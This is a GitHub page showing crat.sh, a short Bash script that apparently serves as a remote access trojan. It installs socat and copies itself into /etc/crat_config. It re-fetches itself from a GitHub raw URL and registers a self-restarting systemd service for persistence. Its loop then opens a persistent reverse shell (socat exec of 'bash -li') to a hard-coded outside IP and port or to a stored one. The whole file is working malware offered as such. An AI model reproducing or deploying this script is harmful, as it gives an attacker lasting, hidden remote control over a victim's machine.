-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcrat.sh
executable file
·102 lines (84 loc) · 3.09 KB
/
crat.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#/bin/bash
if [ ! -x "$(command -v socat)" ]; then sudo apt install -y socat; fi
if [ ! -x "$(command -v screen)" ]; then sudo apt install -y screen; fi
# check if the file is already in /etc/crat_config/persistant/
makePersistant () {
# check if the directory /etc/crat_config exists and create it if it doesn't
if [ ! -d "/etc/crat_config" ]; then
mkdir /etc/crat_config
fi
if [ ! -f /etc/crat_config/crat.sh ]; then
cp crat.sh /etc/crat_config/crat.sh
fi
}
updateScript () {
# check if the directory /etc/crat_config exists and create it if it doesn't
if [ ! -d "/etc/crat_config" ]; then
mkdir /etc/crat_config
fi
if [ ! -f /etc/crat_config/crat.sh ]; then
# download the latest version of the script from https://raw.githubusercontent.com/corespace-security/crat_daemon/master/crat.sh to /etc/crat_config/crat.sh
wget -O /etc/crat_config/crat.sh https://raw.githubusercontent.com/corespace-security/crat_daemon/master/crat.sh && chmod +x /etc/crat_config/crat.sh
fi
}
# check if crat_daemon.service is already in /etc/systemd/system/
registerDaemon () {
if [ ! -f /etc/systemd/system/crat_daemon.service ]; then
echo "[Unit]
Description=C Rat service
After=network.target
[Service]
ExecStart=/bin/bash /etc/crat_config/crat.sh
Restart=always
RestartSec=4
[Install]
WantedBy=multi-user.target" >> /etc/systemd/system/crat_daemon.service
sudo systemctl start crat_daemon.service
sudo systemctl enable crat_daemon.service
# else
# # if crat_daemon.service is already in /etc/systemd/system/ remove the old one and add the new one
# sudo systemctl stop crat_daemon.service
# sudo systemctl disable crat_daemon.service
# sudo rm /etc/systemd/system/crat_daemon.service
# echo "[Unit]
# Description=C Rat service
# After=network.target
# [Service]
# ExecStart=/bin/bash /etc/crat_config/crat.sh
# Restart=always
# RestartSec=4
# [Install]
# WantedBy=multi-user.target" >> /etc/systemd/system/crat_daemon.service
# sudo systemctl start crat_daemon.service
# sudo systemctl enable crat_daemon.service
fi
}
updateScript && sleep 0.5
makePersistant && sleep 0.5
registerDaemon && sleep 0.5
while true
do
# check if the variable $1 is not set
if [ -z "$1" ]; then
# check if the config file crat.ccw exist
if [ -f /etc/crat_config/crat.ccw ]; then
ip=$(cat /etc/crat_config/crat.ccw | cut -d ":" -f 1)
port=$(cat /etc/crat_config/crat.ccw | cut -d ":" -f 2)
else
# if the config file is found set the default
ip="172.104.240.146"
port="4545"
fi
else
# check if the variable $2 is set and then assign both $1 and $2 to the variables ip and port
if [ ! -z "$2" ]; then
ip=$1
port=$2
fi
fi
# check if ip and port are set if they are save them to /etc/crat_config/crat.ccw
if [ ! -z "$ip" ] && [ ! -z "$port" ]; then
echo "$ip:$port" > /etc/crat_config/crat.ccw
fi
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ip:$port
done